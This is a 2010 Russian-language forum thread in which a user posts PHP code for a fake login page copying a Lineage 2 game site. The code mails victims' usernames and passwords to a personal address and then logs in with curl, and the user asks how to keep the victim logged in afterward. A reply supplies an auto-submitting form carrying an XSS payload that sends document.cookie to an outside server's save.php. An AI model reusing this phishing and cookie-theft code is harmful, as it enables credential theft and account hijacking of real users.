PDA

Просмотр полной версии : Вопрос по curl


IgrikX
28.02.2010, 21:38
Вообщем, сделал фэйковую страницу одного сайта, при вводе логина и пароля на моём сайте (фэйковом), отправляю логин и пароль на ящик, потом с помощь curl авторизируюсь на сайте, вроде авторизируеться, но после редиректа на сайт, пишет что не авторизиравано! Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?



<?php
/*обработчик*/
$name = $_POST['sw_name'];
$pass = $_POST['sw_pass'];
//echo "Имя - $name\n";
//echo "Пароль - $pass";
mail("igorpeshko@mail.ru", "Lineage 2", "Ima - $name, Pass - $pass");

$ch = curl_init(); // создаёт соединение
curl_setopt($ch, CURLOPT_URL, "http://la2.byfly.by/"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "sw_name=$name&sw_pass=$pass&sw_do_login=1"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
curl_setopt($ch, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://la2.byfly.by/"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
curl_setopt($ch, CURLOPT_POST, 0); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

<meta http-equiv="refresh" content="10;url=http://la2.byfly.by/">

undef
28.02.2010, 21:48
необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
читай php.net/setcookie. Это пройдет только в случае, когда проверяется только идентификатор сессии, но не ip-адрес.

b3
28.02.2010, 23:21
Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?
Послать юзера на страницу в которой есть ифрейм, и в ифрейме автосабмитом авторизоваться на целевом сайте.

необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
Таким макаром ты присвоиш куки которые будут действовать только для фейкового сайта, чужому сайту ты не присвоиш куки.

IgrikX
28.02.2010, 23:40
b3, авторизоваться автосабмитом, это как понять?

b3
01.03.2010, 03:15
Ну ето когда ты передираеш форму авторизации с нужного сайта, заполняеш её поля, и потом при помощи JS жмеш кнопку "войти".

<form name="mainForm3" method="post" action="http://********/">
<input type="text" name="orderID" value="1"></p>
<input type="text" name="customer_email" value='"><script>document.location.href="http://**.**.***.***/save.php?cookie="+document.cookie;</script>'>
<input type="submit" name="find" value="Проверить статус">
</form>
<script>document.mainForm3.submit();</script>

Вот маленький пример, но тут не авторизация, но смысл тот же.